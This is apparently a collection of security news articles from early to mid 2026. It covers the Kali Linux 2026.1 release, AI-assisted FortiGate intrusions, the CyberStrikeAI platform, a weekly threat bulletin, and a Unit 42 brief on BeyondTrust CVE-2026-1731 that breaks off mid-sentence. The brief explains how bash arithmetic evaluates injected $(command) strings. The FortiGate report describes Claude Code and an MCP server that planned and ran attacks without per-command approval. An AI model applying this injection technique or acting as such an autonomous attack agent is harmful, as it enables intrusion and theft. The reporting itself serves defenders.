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metasploit

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Metasploitの生みの親が語る AIで激変するサイバー脅威と防御側がやるべきこと
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atmarkit.itmedia.co.jpJun 30, 2026extracted
Beyond the Zero-Day: See Your Network Like an Attacker | Webinar with HD Moore
Assume the breach. Zero-days keep shipping, AI is writing exploits faster than anyone patches, and "patch everything in time" stopped working years ago. Stop betting the org on winning that race. You don't control which bug lands. You control what it can reach once it does. That is a question about the shape of your network, and most teams have the shape wrong. HD Moore, creator of Metasploit and now CEO of runZero, spends the session showing you that shape from the attacker's side. Save your seat for a LIVE session, or register, and we will send you the recording. The segmentation you think you have The comfortable assumption: critical systems sit behind a firewall or off on their own segment, so a foothold over here cannot become a disaster over there. Call it the segmentation illusion. It holds until someone maps the network for real. Then the seams show up. A device wired into two networks at once, quietly bridging the zones you meant to keep apart. Connected gear nobody registered, answering on a segment it should not be on. Whole sets of machines hiding behind an industrial protocol gateway, invisible to your scanner, reachable by anyone who knows the gateway is there. None of it is on the asset list. All of it routes around the control you were counting on. Inventory is a list. Attackers read a map. You keep an inventory, a static list of things you own. An attacker does not care about your list. They care about paths: how one foothold reaches the next, until it lands on something that hurts. The two views rarely match, and the difference is exactly the part of your network you cannot see and they can. Moore built Metasploit, the framework half the industry learned offense on, and now runs the company whose whole job is finding the assets and connections organizations don't know they have. What you leave able to do Find the assets you don't know you have. Unsanctioned IT, shadow IoT, and the sub-assets behind OT protocol gateways where your scans never look. Find the bridges that break segmentation. The multi-homed devices and forgotten assets connecting zones you believed were isolated. See the paths, not just the parts. Trade static inventory for live attack-path mapping that shows how a foothold actually travels. Fix the few things that matter. Focus remediation on the assets and links that shorten an attacker's route to impact. Corporate network, factory floor, or both tangled together: if IT, IoT, and OT share your environment, the seams between them are where this goes wrong. See your network the way an attacker already does, before they do.
thehackernews.comJun 3, 2026extracted
Kali Linux 2026.1 released with 8 new tools, new BackTrack mode
Kali Linux 2026.1, the first release of the year, is now available for download, featuring 8 new tools, a theme refresh, and a new BackTrack mode for Kali-Undercover. Kali is a Linux distribution designed for ethical hackers and cybersecurity professionals, with tools for red teaming, penetration testing, network research, and security assessments. This distribution is available as a live environment or an installable operating system, and it supports a wide range of hardware, including Raspberry Pi devices and compatible Android phones via Kali NetHunter. New tools added to Kali Linux 2026.1 In this release, the Kali Team has added 25 new packages, updated 183 others, and upgraded the Kali kernel to 6.18. It has also added new tools to the network repositories, including: AdaptixC2 - Extensible post-exploitation and adversarial emulation framework Atomic-Operator - Execute Atomic Red Team tests across multiple operating system environments Fluxion - Security auditing and social-engineering research tool GEF - Modern experience for GDB with advanced debugging capabilities MetasploitMCP - MCP server for Metasploit SSTImap - Automatic SSTI detection tool with interactive interface WPProbe - Fast WordPress plugin enumeration tool XSStrike - Advanced XSS scanner Annual theme refresh With this year's first release, the Kali Team introduced a theme update that adds new wallpapers, tweaks the graphical installer interface, and improves the boot and login experience. "As with previous 20xx.1 releases, this major update brings our annual theme refresh, a long-standing tradition that keeps the Kali Linux interface as modern and innovative," the Kali devs said. "This year’s release unveils a brand-new theme from the moment you boot. Everything from the boot menu, installer to the login display, and a fresh set of desktop wallpapers." BackTrack mode for Kali-Undercover This version also adds a new "BackTrack mode" to the distro's Kali Undercover, a feature previously that may also be used to make the Kali desktop look like a default Windows 10 installation. With the new mode, users can quickly switch to a theme closely resembling Kali's predecessor, BackTrack Linux. "This mode transforms the desktop to recreate the look and feel of BackTrack 5, with the same wallpaper, colors, and window themes," the announcement reads. "You can run it directly from the menu or by running kali-undercover --backtrack in the terminal. You can switch back to the default Kali desktop (or not) by running it again." The Kali Team also made improvements to the Kali NetHunter app, including a HID permission check and fixes for the WPS scan bug and the back button issue. How to get Kali Linux 2026.1 To start using Kali Linux 2026.1, you can upgrade your existing installation, select a platform, or directly download ISO images for new installs and live distributions. Kali users who want to update from a previous version can use the following commands to upgrade to the latest version. echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list sudo apt update && sudo apt -y full-upgrade cp -vrbi /etc/skel/. ~/ [ -f /var/run/reboot-required ] && sudo reboot -f If you're using Kali on Windows Subsystem for Linux, you should consider upgrading to WSL 2 for better support of graphical applications. To check your WSL version, run wsl -l -v in a Windows command prompt. After upgrading, you can check whether the process was successful using the following command: grep VERSION /etc/os-release. You can view the complete changelog for Kali Linux 2026.1 on Kali's website. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 25, 2026extracted
Kali Linux 2026.1 ships BackTrack mode, eight new tools, and a kernel upgrade to 6.18
Kali Linux 2026.1 ships BackTrack mode, eight new tools, and a kernel upgrade to 6.18 Penetration testers running Kali Linux have a new release to work with. Version 2026.1 delivers the annual theme refresh, a new BackTrack-inspired mode in kali-undercover, eight tools added to the network repositories, a kernel bump to 6.18, and several Kali NetHunter changes. 2026 theme refresh Each year’s first Kali release brings a visual overhaul, and 2026.1 follows that pattern. The new theme covers the boot menu, installer, login display, and desktop, along with a fresh set of wallpapers. The Kali Purple variant also receives updated artwork. The boot animation received a fix specific to live images. Previously, the animation got stuck at the beginning and displayed only the tail. It now plays through correctly and will restart the loop if the boot process runs long. BackTrack mode for kali-undercover 2026 marks the 20th anniversary of BackTrack Linux, the predecessor to Kali. To mark that milestone, the release adds a BackTrack mode to the kali-undercover tool. The mode transforms the desktop to recreate the look and feel of BackTrack 5, with the same wallpaper, colors, and window themes. Users can enable it from the menu or by running kali-undercover --backtrack in the terminal, and toggle back to the standard Kali desktop by running it again. Eight new tools The following tools were added to the network repositories in this release: AdaptixC2 — Extensible post-exploitation and adversarial emulation framework Atomic-Operator — Executes Atomic Red Team tests across multiple operating system environments Fluxion — Security auditing and social-engineering research tool GEF — Advanced debugging experience for GDB MetasploitMCP — MCP server for Metasploit SSTImap — Automatic SSTI detection tool with an interactive interface WPProbe — Fast WordPress plugin enumeration tool XSStrike — Advanced XSS scanner The release also adds 25 new packages, removes 9, and delivers 183 package updates. The kernel is bumped to version 6.18. Known SDR breakage Users of the kali-tools-sdr metapackage, which covers Software Defined Radio tooling, will find the GNU Radio ecosystem in poor shape in this release. Tools including gr-air-modes and gqrx-sdr are known to be broken. The Kali team expects a fix in the next release. Kali NetHunter updates The NetHunter app receives fixes for the WPS scan bug, HID permission handling, and the back button. Two device-specific changes ship with this release. The Redmi Note 8 gets a new kernel for Android 16. On the Samsung S10 series, a patch to libnexmonkali fixes the use of internal wireless firmware in Kali chroot, bringing reaver, bully, and kismet into working order on those devices. A first working wireless injection patch for QCACLD 3.0 hardware also lands in this release. The patch potentially unlocks injection capability for most phones running Qualcomm chipsets.
helpnetsecurity.comMar 25, 2026extracted
CyberStrikeAI tool adopted by hackers for AI-powered attacks
Researchers warn that a newly identified open-source AI security testing platform called CyberStrikeAI was used by the same threat actor behind a recent campaign that breached hundreds of Fortinet FortiGate firewalls. Last month, BleepingComputer reported on an AI-assisted hacking operation that compromised more than 500 FortiGate devices in five weeks. The threat actor behind this campaign used multiple servers, including a web server at 212.11.64[.]250. In a new report, Senior Threat Intel Advisor for Team Cymru, Will Thomas (aka BushidoToken), says that the same IP address was observed running the relatively new CyberStrikeAI AI-powered security testing platform. Analyzing NetFlow data, Team Cymru identified a "CyberStrikeAI" service banner running on port 8080 on 212.11.64[.]250 and saw network communications between that IP and Fortinet FortiGate devices the threat actor targeted. The FortiGate campaign infrastructure was last seen running CyberStrikeAI on January 30, 2026. CyberStrikeAI's GitHub repository describes itself as an "AI-native security testing platform built in Go" that integrates over 100 security tools, an intelligent orchestration engine, predefined security roles, and a skills system. "Through native MCP protocol and AI agents, it enables end-to-end automation from conversational commands to vulnerability discovery, attack-chain analysis, knowledge retrieval, and result visualization—delivering an auditable, traceable, and collaborative testing environment for security teams," reads the project description. The tool includes an AI decision engine compatible with models such as GPT, Claude, and DeepSeek, a password-protected web UI with audit logging and SQLite persistence, and a dashboard for vulnerability management, task orchestration, and attack-chain visualization. Its tooling allows it to conduct a full attack chain, including network scanning (nmap, masscan), web and application testing (sqlmap, nikto, gobuster), exploitation frameworks (metasploit, pwntools), password cracking tools (hashcat, john), and post-exploitation frameworks (mimikatz, bloodhound, impacket). By combining these tools with AI agents and an orchestrator, CyberStrikeAI enables operators, even low-skilled ones, to automate attacks against targets. Team Cymru warns that AI-native orchestration engines like this could accelerate automated targeting of exposed edge devices, including firewalls and VPN appliances. The researchers say they observed 21 unique IP addresses running CyberStrikeAI between January 20 and February 26, 2026, with servers primarily hosted in China, Singapore, and Hong Kong. Additional infrastructure was spotted in the United States, Japan, and Europe. "As adversaries increasingly embrace AI-native orchestration engines, we expect to see a rise in automated, AI-driven targeting of vulnerable edge devices, similar to the observed reconnaissance and targeting of Fortinet FortiGate appliances," explains Thomas. "In the near future, defenders must be prepared for an environment where tools like CyberStrikeAI, alongside the developer's other AI-assisted privilege escalation projects like PrivHunterAI and InfiltrateX, significantly lower the barrier to entry for complex network exploitation." The researchers also examined the profile of the CyberStrikeAI developer, who goes by the alias "Ed1s0nZ." Based on public repositories linked to the account, the developer has worked on additional AI-assisted security tools, including PrivHunterAI, which uses AI models to detect privilege escalation vulnerabilities, and InfiltrateX, a privilege escalation scanning tool. According to Team Cymru, the developer's GitHub activity shows interactions with organizations previously linked to Chinese government–affiliated cyber operations. In December 2025, the developer shared CyberStrikeAI with Knownsec 404's "Starlink Project." Knownsec is a Chinese cybersecurity firm with alleged links to the Chinese government. On January 5, 2026, the developer mentioned receiving a "CNNVD 2024 Vulnerability Reward Program – Level 2 Contribution Award" on their GitHub profile. The China National Vulnerability Database (CNNVD) is believed to be operated by China's intelligence community, which allegedly uses it to identify vulnerabilities for its operations. Team Cymru says the reference to CNNVD was later removed from the developer's profile. The developer's GitHub repositories are primarily written in Chinese, suggesting they are a Chinese-speaking developer, and interaction with domestic cybersecurity organizations would not necessarily be unusual. These new AI-powered cybersecurity tools continue to demonstrate how commercial AI services are increasingly used by threat actors to automate their attacks while, at the same time, lowering the barrier to entry. Last month, Google also reported that threat actors are abusing Gemini AI across all stages of cyberattacks, empowering the abilities of threat actors of all skill levels. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 3, 2026extracted
ThreatsDay Bulletin: Kali Linux + Claude, Chrome Crash Traps, WinRAR Flaws, LockBit & 15+ Stories
Nothing here looks dramatic at first glance. That’s the point. Many of this week’s threats begin with something ordinary, like an ad, a meeting invite, or a software update. Behind the scenes, the tactics are sharper. Access happens faster. Control is established sooner. Cleanup becomes harder. Here is a quick look at the signals worth paying attention to. AI-powered command executionKali Linux, an advanced penetration testing Linux distribution used for ethical hacking and network security assessments, has added an integration with Anthropic's Claude large language model through the Model Context Protocol (MCP) to issue commands in natural language and translate them into technical commands. Belarus-linked Android spywareResidentBat is an Android spyware implant used by Belarusian authorities for surveillance operations against journalists and civil society. Once installed, it provides operators with access to call logs, microphone recordings, SMS, encrypted messenger traffic, screen captures, and locally stored files. The malware, although first documented in December 2025, is assessed to date back to 2021. According to Censys, ResidentBat-associated infrastructure is concentrated in Europe and Russia: the Netherlands (5 hosts), Germany (2 hosts), Switzerland (2 hosts), and Russia (1 host) in a recent Platform view, using a narrow port range (7000-7257) for control traffic. Crypto phishing wavePhishing campaigns are impersonating cryptocurrency brokerage services like Bitpanda to harvest sensitive data under the pretext of reconfirming their information or risk having their accounts blocked. "Attempting to get multiple forms of information and identification, the attackers used tactics that would seem legitimate to the everyday user," Cofense said. "User information such as name verification, email, and password credentials, and location were all used in this attempt to harvest information under the guise of a multi-factor authentication process." Breakout times shrinkIn its 2026 Global Threat Report, CrowdStrike said adversaries became faster than ever before in 2025. "The average e-crime breakout time — the period between initial access and lateral movement onto another system — dropped to 29 minutes, a 65% increase in speed from 2024," the company said. One such intrusion undertaken by Luna Moth (aka Chatty Spider) targeting a law firm moved from initial access to data exfiltration in four minutes. Chief among the factors fueling this dramatic acceleration was the widespread abuse of legitimate credentials, which allowed attackers to blend into normal network traffic and bypass many traditional security controls. This was coupled with threat actors of varied motivations utilizing AI technology to accelerate and optimize their existing techniques. Some of the threat actors that have leveraged AI in their operations include Fancy Bear, Punk Spider (aka Akira), Blind Spider (aka Blind Eagle), Odyssey Spider (aka TA558), and an India-nexus hacking group called Frantic Tiger that has used Netlify and Cloudflare pages for credential-harvesting operations. The cybersecurity company said it observed an 89% increase in the number of attacks by AI-enabled adversaries compared to 2024 and a 42% year-over-year increase in zero-days exploited prior to public disclosure. In tandem, 67% of vulnerabilities exploited by China-nexus adversaries provided immediate system access, and 40% targeted edge devices that typically lack comprehensive monitoring. The vast majority of attacks, 82%, were free of malware — highlighting attackers' enduring shift toward hands-on-keyboard operations and the abuse of legitimate tools and credentials. 4-minute lateral movementIn a similar report, ReliaQuest said the fastest intrusions reached lateral movement in just 4 minutes, an 85% acceleration from last year, with data exfiltration taking place in 6 minutes. The statistic is fueled by attackers increasingly weaving AI and automation into their tradecraft. "As attackers increasingly secure valid credentials with elevated privileges, the time to react has drastically dropped," ReliaQuest said. "In 2025, the average breakout time (initial access to lateral movement) dropped to 34 minutes. In 47% of incidents, they secured high privileges before ever touching the network. This allows them to skip escalation, blend into traffic, and repurpose legitimate tools." ClickFix fuels Mac stealersMac users searching for popular software like Homebrew, 7-Zip, Notepad++, LibreOffice, and Final Cut Pro are the target of an active malvertising campaign powered by at least 35 hijacked Google advertiser accounts originating from countries including the U.S., Canada, Italy, Poland, Brazil, India, Saudi Arabia, Japan, China, Romania, Malta, Slovenia, Germany, the U.K., and the U.A.E. More than 200 malicious advertisements impersonating legitimate macOS software have been found. The end goal of these efforts is to direct users to fake pages that contain ClickFix-like instructions to deliver MacSync stealer. Another ClickFix campaign has been observed using fake CAPTCHA verification lures on bogus phishing pages to distribute stealer malware that can harvest data from web browsers, gaming apps like Steam, cryptocurrency wallets, and VPN apps. According to ReliaQuest data, a quarter of attacks used social engineering for initial access last year, with ClickFix responsible for delivering 59% of the top malware families. Encryption debate resurfacesMeta went ahead with a plan to encrypt the messaging services connected to its Facebook and Instagram apps despite internal warnings that it would hinder the social media giant's ability to flag child-exploitation cases to law enforcement, Reuters reported. The internal chat exchange dated March 2019 was filed in connection with a lawsuit brought by the U.S. state of New Mexico, accusing it of exposing children and teens to sexual exploitation on its platforms and profiting from it. In response to the concerns raised, Meta said it worked on additional safety features before it launched encrypted messaging on Facebook and Instagram in 2023. ActiveMQ flaw aids LockBitThreat actors are exploiting a now-patched security flaw in internet-facing Apache ActiveMQ servers (CVE-2023-46604) to deploy LockBit ransomware. "Despite being evicted after the initial intrusion, they successfully breached the same server on a second occasion 18 days later," The DFIR Report said. "After compromising the server, the threat actor used Metasploit, possibly along with Meterpreter, to perform post-exploitation activities. These activities included escalating privileges, accessing LSASS process memory, and moving laterally across the network. After regaining access following their eviction, the threat actor swiftly transitioned to deploying ransomware. They leveraged credentials extracted during their previous breach to deploy LockBit ransomware via RDP." The ransomware is suspected to be crafted using the leaked LockBit builder. Chrome crash-to-command trickTwo newly flagged Google Chrome extensions, Pixel Shield - Block Ads (ID: nlogodaofdghipmbdclajkkpheneldjd) and PageGuard - Phishing Protection (ID: mlaonedihngoginmmlaacpihnojcoocl), have been found to adopt the same playbook as CrashFix, where the browser is deliberately crashed, and the user is tricked into running a malicious command à la ClickFix. The most concerning aspect of this campaign is that the extensions actually work and offer the advertised functionality. "The original NexShield DoS created a billion chrome.runtime.connect() calls," Annex Security's John Tuckner said. "These variants use a different technique I'm calling the Promise Bomb because it crashes the browser by flooding Chrome's message passing system with millions of unresolvable promises." While the original NexShield used timer-based activation, the new variants have evolved to push notification-based command-and-control (C2), causing the denial-of-service to be triggered only when the C2 server sends a push notification containing a "newVersion" value ending in "2." This, in turn, gives the attacker selective remote control over when the crashes happen. WinRAR patch lag persistsCybersecurity firm Stairwell said more than 80% of the IT networks it monitors run versions of WinRAR vulnerable to CVE-2025-8088, a vulnerability that has been widely exploited by cybercrime and cyber espionage groups. "This finding underscores a persistent challenge in enterprise security when widely deployed, trusted software that quietly falls out of date and becomes a high-value target for attackers," Alex Hegyi said. Crypto IV reuse riskA new analysis from Trail of Bits has revealed that more than 723,000 open-source projects use cryptographic libraries with insecure defaults. The aes-js and pyaes libraries have been found to provide a default initialization vector (IV) in their AES-CTR API, leading to a large number of key/IV reuse bugs. "Reusing a key/IV pair leads to serious security issues: if you encrypt two messages in CTR mode or GCM with the same key and IV, then anybody with access to the ciphertexts can recover the XOR of the plaintexts, and that’s a very bad thing," Trail of Bits said. While neither library has been updated in years, strongSwan has released an update to address the problem in strongMan (CVE-2026-25998). AI audits smart contractsOpenAI and Paradigm have jointly announced EVMbench, a benchmark that measures how well AI agents can detect, exploit, and patch high-severity smart contract vulnerabilities. "EVMbench draws on 120 curated vulnerabilities from 40 audits, with most sourced from open code audit competitions," OpenAI said. "EVMbench is intended both as a measurement tool and as a call to action. As agents improve, it becomes increasingly important for developers and security researchers to incorporate AI-assisted auditing into their workflows." Fake FSB extortion plotA Russian national has been accused of trying to extort money from the notorious Conti ransomware group by posing as an officer of Russia’s Federal Security Service (FSB), according to local media reports. RBC reported that the suspect, Ruslan Satuchin, posed as an FSB officer and demanded a large payment from Conti. Although an investigation was formally launched in September 2025, the incident allegedly began in September 2022 when Satuchin contacted one of the members of the hacker group and extorted them to avoid criminal liability. Once a prolific ransomware gang, Conti shut down its operations in mid-2022 after splintering into small groups. Ad cloaking service exposedVaronis has disclosed details of a newly identified cybercrime service known as 1Campaign that enables threat actors to run malicious Google Ads for extended periods of time while evading scrutiny. The cloaking platform "passes Google's screening, filters out security researchers, and keeps phishing and crypto drainer pages online for as long as possible, funneling real users to attacker-controlled sites," Varonis security researcher Daniel Kelley said. "It combines real-time visitor filtering, fraud scoring, geographic targeting, and a bot guard script generator into a single dashboard." It's developed and maintained by a threat actor named DuppyMeister for over three years, along with offering Telegram channels for support. Traffic linked to 1Campaign has been distributed across the U.S., Canada, the Netherlands, China, Germany, France, Japan, Hungary, and Albania. Teams call drops macOS malwareA social engineering campaign has been observed using Microsoft Teams meetings to trick attendants into installing macOS malware. Daylight Security has assessed that the activity is consistent with an ongoing attack campaign orchestrated by North Korean threat actors under the name GhostCall. "During the call, the attacker claimed audio issues and coached the victim into running terminal commands that downloaded and executed malicious binaries," Daylight researchers Kyle Henson and Oren Biderman said. "Analysts observed staged downloads and execution from macOS cache and temporary paths, Keychain credential access, and outbound connections to newly created attacker-controlled domains." RAMP fallout reshapes undergroundLast month, law enforcement authorities from the U.S. seized the notorious RAMP cybercrime forum. The event has had a cascading impact, destabilising trust and accelerating fragmentation across the underground cybercrime ecosystem. There are also speculations that RAMP may have functioned as a honeypot or had been compromised long before its seizure. "Rather than consolidating around a single successor, ransomware actors are redistributing across both gated platforms like T1erOne and accessible forums such as Rehub," Rapid7 said. "This shift reflects adaptation, not decline. Disruption fractures trust and redistributes coordination across multiple platforms." Anonymous Fénix members detainedSpanish authorities have announced the arrest of four members of the Anonymous Fénix group for their involvement in distributed denial-of-service (DDoS) attacks. The suspects, whose names were not disclosed, targeted the websites of government ministries, political parties, and public institutions. Two of the group leaders were arrested in May 2025. The first attacks occurred in April 2023. The group is said to have intensified its activities beginning in September 2024, recruiting volunteers to mount DDoS attacks against targets of interest. Judicial spear-phish drops RATA spear-phishing campaign has been observed targeting Argentina's judicial sector that delivers a ZIP archive containing a Windows shortcut that, when launched, displays a decoy PDF to the victims, while stealthily dropping a Rust-based remote access trojan (RAT). "The campaign leverages highly authentic judicial decoy documents to exploit trust in court communications, enabling successful delivery of a covert remote access trojan and facilitating long-term access to sensitive legal and institutional data," Seqrite Labs said. Typosquat spreads ValleyRATA persuasive lookalike website of Huorong Security antivirus ("huoronga[.]com") has been used to deliver a RAT malware known as ValleyRAT. The campaign is the work of a Chinese cybercrime group called Silver Fox, which has a history of distributing trojanized versions of popular Chinese software and other popular programs through typosquatted domains to distribute trojanized installers responsible for deploying ValleyRAT. "Once it's installed, attackers can monitor the victim, steal sensitive information, and remotely control the system," Malwarebytes said. Repo-squatting via Google AdsUsers searching for developer tools have become the target of an ongoing campaign dubbed GPUGate that uses a malicious installer to deliver Hijack Loader and Atomic Stealer. "The attacker creates a throwaway GitHub account and forks the official GitHub Desktop repository," GMO Cybersecurity by Ierae said. "The attacker edits the download link in the README to point to their malicious installer and commits the change. Lastly, the attacker used sponsored ads for 'GitHub Desktop' to promote their commit, using an anchor in README.md to skip past GitHub's cautions." Victims who downloaded the malicious Windows installer would execute a multi-stage loader, while Mac victims received Atomic Stealer. These stories may seem separate, but they point in the same direction. Speed is increasing. Deception is improving. And attackers are finding new ways to blend into everyday activity. The warning signs are there for those who look closely. Small gaps, delayed patches, misplaced trust, and rushed clicks still make the biggest difference. Staying aware of these shifts is no longer optional. The details change each week. The pressure does not.
thehackernews.comFeb 26, 2026extracted
Amazon: AI-assisted hacker breached 600 Fortinet firewalls in 5 weeks
Article updated at the bottom with additional technical details about this campaign. Amazon is warning that a Russian-speaking hacker used multiple generative AI services as part of a campaign that breached more than 600 FortiGate firewalls across 55 countries in five weeks. A new report by CJ Moses, CISO of Amazon Integrated Security, says that the hacking campaign occurred between January 11 and February 18, 2026, and did not rely on any exploits to breach Fortinet firewalls. Instead, the threat actor targeted exposed management interfaces and weak credentials that lacked MFA protection, then used AI to help automate access to other devices on the breached network. Moses says the compromised firewalls were observed across South Asia, Latin America, the Caribbean, West Africa, Northern Europe, and Southeast Asia, among other regions. An AI-powered hacking campaign Amazon says it learned about the campaign after finding a server hosting malicious tools used to target Fortinet FortiGate firewalls. As part of the campaign, the threat actor targeted FortiGate management interfaces exposed to the internet by scanning for services running on ports 443, 8443, 10443, and 4443. The targeting was reportedly opportunistic rather than against any specific industries. Rather than exploiting zero-days, as we commonly see targeting FortiGate devices, the actor used brute-force attacks with common passwords to gain access to devices. Once breached, the threat actor extracted the device's configuration settings, which include: SSL-VPN user credentials with recoverable passwords Administrative credentials Firewall policies and internal network architecture IPsec VPN configurations Network topology and routing information These configuration files were then parsed and decrypted using what appears to be AI-assisted Python and Go tools. "Following VPN access to victim networks, the threat actor deploys a custom reconnaissance tool, with different versions written in both Go and Python," explained Amazon. "Analysis of the source code reveals clear indicators of AI-assisted development: redundant comments that merely restate function names, simplistic architecture with disproportionate investment in formatting over functionality, naive JSON parsing via string matching rather than proper deserialization, and compatibility shims for language built-ins with empty documentation stubs." "While functional for the threat actor's specific use case, the tooling lacks robustness and fails under edge cases—characteristics typical of AI-generated code used without significant refinement." These tools were used to automate reconnaissance on the breached networks by analyzing routing tables, classifying networks by size, running port scans using the open-source gogo scanner, identifying SMB hosts and domain controllers, and using Nuclei to look for HTTP services. The researchers say that while the tools were functional, they commonly failed in more hardened environments. Operational documentation written in Russian detailed how to use Meterpreter and mimikatz to conduct DCSync attacks against Windows domain controllers and extract NTLM password hashes from the Active Directory database. The campaign also specifically targeted Veeam Backup & Replication servers using custom PowerShell scripts, compiled credential-extraction tools, and attempted to exploit Veeam vulnerabilities. On one of the servers found by Amazon (212[.]11.64.250), the threat actor hosted a PowerShell script named "DecryptVeeamPasswords.ps1" that was used to target the backup application. As Amazon explains, threat actors often target backup infrastructure before deploying ransomware to prevent the restoration of encrypted files from backups. The threat actors' "operational notes" also contained multiple references to trying to exploit various vulnerabilities, including CVE-2019-7192 (QNAP RCE), CVE-2023-27532 (Veeam information disclosure), and CVE-2024-40711 (Veeam RCE). The report says that the attacker repeatedly failed when attempting to breach patched or locked-down systems, but instead of continuing to try to gain access, they moved on to easier targets. While Amazon believes the threat actor has a low-to-medium skill set, that skill set was greatly amplified through the use of AI. The researchers say the threat actor utilized at least two large language model providers throughout the campaign to: Generate step-by-step attack methodologies Develop custom scripts in multiple programming languages Create reconnaissance frameworks Plan lateral movement strategies Draft operational documentation In one instance, the actor reportedly submitted a full internal victim network topology, including IP addresses, hostnames, credentials, and known services, to an AI service and asked for help spreading further into the network. Amazon says the campaign demonstrates how commercial AI services are lowering the barrier to entry for threat actors, enabling them to carry out attacks that would normally be outside their skill set. The company recommends that FortiGate admins not expose management interfaces to the internet, ensure MFA is enabled, ensure VPN passwords are not the same as those for Active Directory accounts, and harden backup infrastructure. Google recently reported that threat actors are abusing Gemini AI across all stages of cyberattacks, mirroring what Amazon observed in this campaign. Custom AI toolset powers breaches Separate research published yesterday on the Cyber and Ramen security blog provides additional technical details about how AI and large language models were incorporated directly into the intrusion campaign. The researcher shared that the misconfigured server at 212.11.64[.]250, also found by Amazon, exposed 1,402 files, including stolen FortiGate configuration backups, Active Directory mapping data, credential dumps, vulnerability assessments, and attack planning documents. "The server at 212.11.64[.]250:9999, hosted on AS4264 (Global-Data System IT Corporation, Zurich, Switzerland), contained 1,402 files across 139 subdirectories," explained the threat researcher. "Folders within the directory included CVE exploit code, FortiGate configuration files, Nuclei scanning templates and Veeam credential extraction tools. Two folders named claude-0 and claude contained over 200 files between the two, including Claude Code task outputs, session diffs, and cached prompt states." "A folder titled fortigate_27.123(full IP redacted) held configuration data and credentials from what appeared to be a compromised FortiGate appliance." Included in the exposed files was a custom Model Context Protocol (MCP) server named ARXON, which acted as a bridge between reconnaissance data and commercial large language models. The researcher said they were unable to find any public references to ARXON, indicating it was likely a custom MCP framework created by the threat actor. An MCP server acts as an intermediary layer that ingests data, feeds it into language models, and then uses the generated output with other tools. In this campaign, the ingested data was used to automate post-compromise analysis and attack planning. A separate Go tool called CHECKER2 is a Docker-based orchestrator that was used to scan thousands of VPN targets in parallel, with logs showing more than 2,500 potential targets across 100+ countries. According to the researcher, reconnaissance data collected from compromised FortiGate appliances and internal networks was fed into ARXON, which then queried large language models such as DeepSeek and Claude to generate structured attack plans. These attack plans included instructions for gaining Domain Admin, suggested locations to search for credentials, recommended exploitation steps, and guidance on spreading laterally to other devices. In some cases, Claude Code was configured to execute offensive tools on its own, including Impacket scripts, Metasploit modules, and hashcat, without requiring the threat actor to approve each command. The researcher notes that the operation evolved over several weeks, with the attacker initially using an open-source HexStrike MCP framework and, about eight weeks later, moving to the automated, customized ARXON system. This report shares Amazon's assessment that generative AI is being used as a multiplier, allowing attackers to scale intrusions more efficiently. The researcher similarly warns that defenders should prioritize patching edge devices and auditing unusual SSH activity and VPN account creation. CronUp security researcher Germán Fernández also found a different server exposing a directory containing what appear to be AI-generated tools targeting FortiWeb. While these tools do not appear to be part of the FortiGate campaign, they once again show how threat actors are continuing to use AI tools to power their attacks. Update 2/21/26: Added more technical details from Cyber and Ramen security blog and Germán Fernández. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comFeb 21, 2026extracted
VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)
Unit 42 stopped monitoring this threat and updating the brief on May 19, 2026. Please refer to the BeyondTrust website for the latest information. On Feb. 6, 2026, BeyondTrust released a security advisory regarding CVE-2026-1731. BeyondTrust is an identity and access management platform. This specific vulnerability involves a pre-authentication remote code execution (RCE) issue within BeyondTrust remote support software. It could allow attackers to execute operating system commands in the context of the site user, which may lead to system compromise, including unauthorized access, data exfiltration and service disruption. Unit 42 is actively investigating exploitation of this vulnerability and has observed attacker activity consistent with the following: Network reconnaissance and account creation Webshell deployment Command-and-control (C2) traffic Backdoor and remote management tool deployment Lateral movement Data theft The campaign tracked by Unit 42 has so far affected the following sectors in the U.S., France, Germany, Australia and Canada: Financial services Legal services High technology Higher education Wholesale and retail Healthcare Due to the severity of the risk and confirmed active exploitation, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added this vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2026. This addition mandated immediate remediation for federal agencies and signaled urgent prioritization for the private sector. At the time of publication, Palo Alto Networks Cortex Xpanse has identified the presence of 16,400-plus exposed instances potentially vulnerable to CVE-2026-1731 based on our telemetry. Palo Alto Networks customers are better protected from CVE-2026-1731 through the following products: Palo Alto Networks also recommends that BeyondTrust self-hosted customers of Remote Support and Privileged Remote Access manually patch any instances that are not subscribed to automatic updates in the appliance interface in accordance with their February 2026 advisory. The Unit 42 Incident Response team can also be engaged to help with a compromise or to provide a proactive assessment to lower your risk. CVE-2026-1731 is a critical RCE vulnerability affecting the thin-scc-wrapper component of unpatched versions of BeyondTrust remote support software. This component is exposed to the network and handles incoming WebSocket connections. The flaw allows unauthenticated remote attackers to execute arbitrary operating system commands with high privileges. The vulnerability has been assigned a CVSS score of 9.9, reflecting its low attack complexity and the immediate threat to system integrity and confidentiality. Characteristics of this vulnerability include: Type: OS Command Injection (CWE-78) Severity: Critical (CVSS v4 Score: 9.9) Vector: Network/Pre-authentication Affected Component: thin-scc-wrapper script (reachable via WebSocket interface) The vulnerability is triggered during the WebSocket handshake process. The backend script, thin-scc-wrapper, is designed to parse and evaluate the remoteVersion value provided by the connecting client. This value is ostensibly used for version compatibility checks. The script uses bash arithmetic contexts (such as (( ... )) or let) to compare the version numbers. In bash, these contexts are not strictly limited to integer values. These contexts can also treat operands as expressions. Consequently, if input is not rigorously sanitized, an arithmetic context will evaluate and execute embedded commands — such as command substitutions $(command) — before performing the intended comparison. While previous patches for this component reportedly introduced numeric coherence checks, our analysis indicates these measures were not fully comprehensive. They failed to prevent the bash interpreter from evaluating expressions within the input string, leaving the endpoint exposed to injection. Successful exploitation requires no prior authentication or user interaction. The attack sequence typically follows this trajectory: Connection: The attacker initiates a standard WebSocket connection to the target appliance, directing traffic to /nw [path] or endpoints associated with get_portal_info. Injection: During the handshake phase, the attacker submits an intentionally 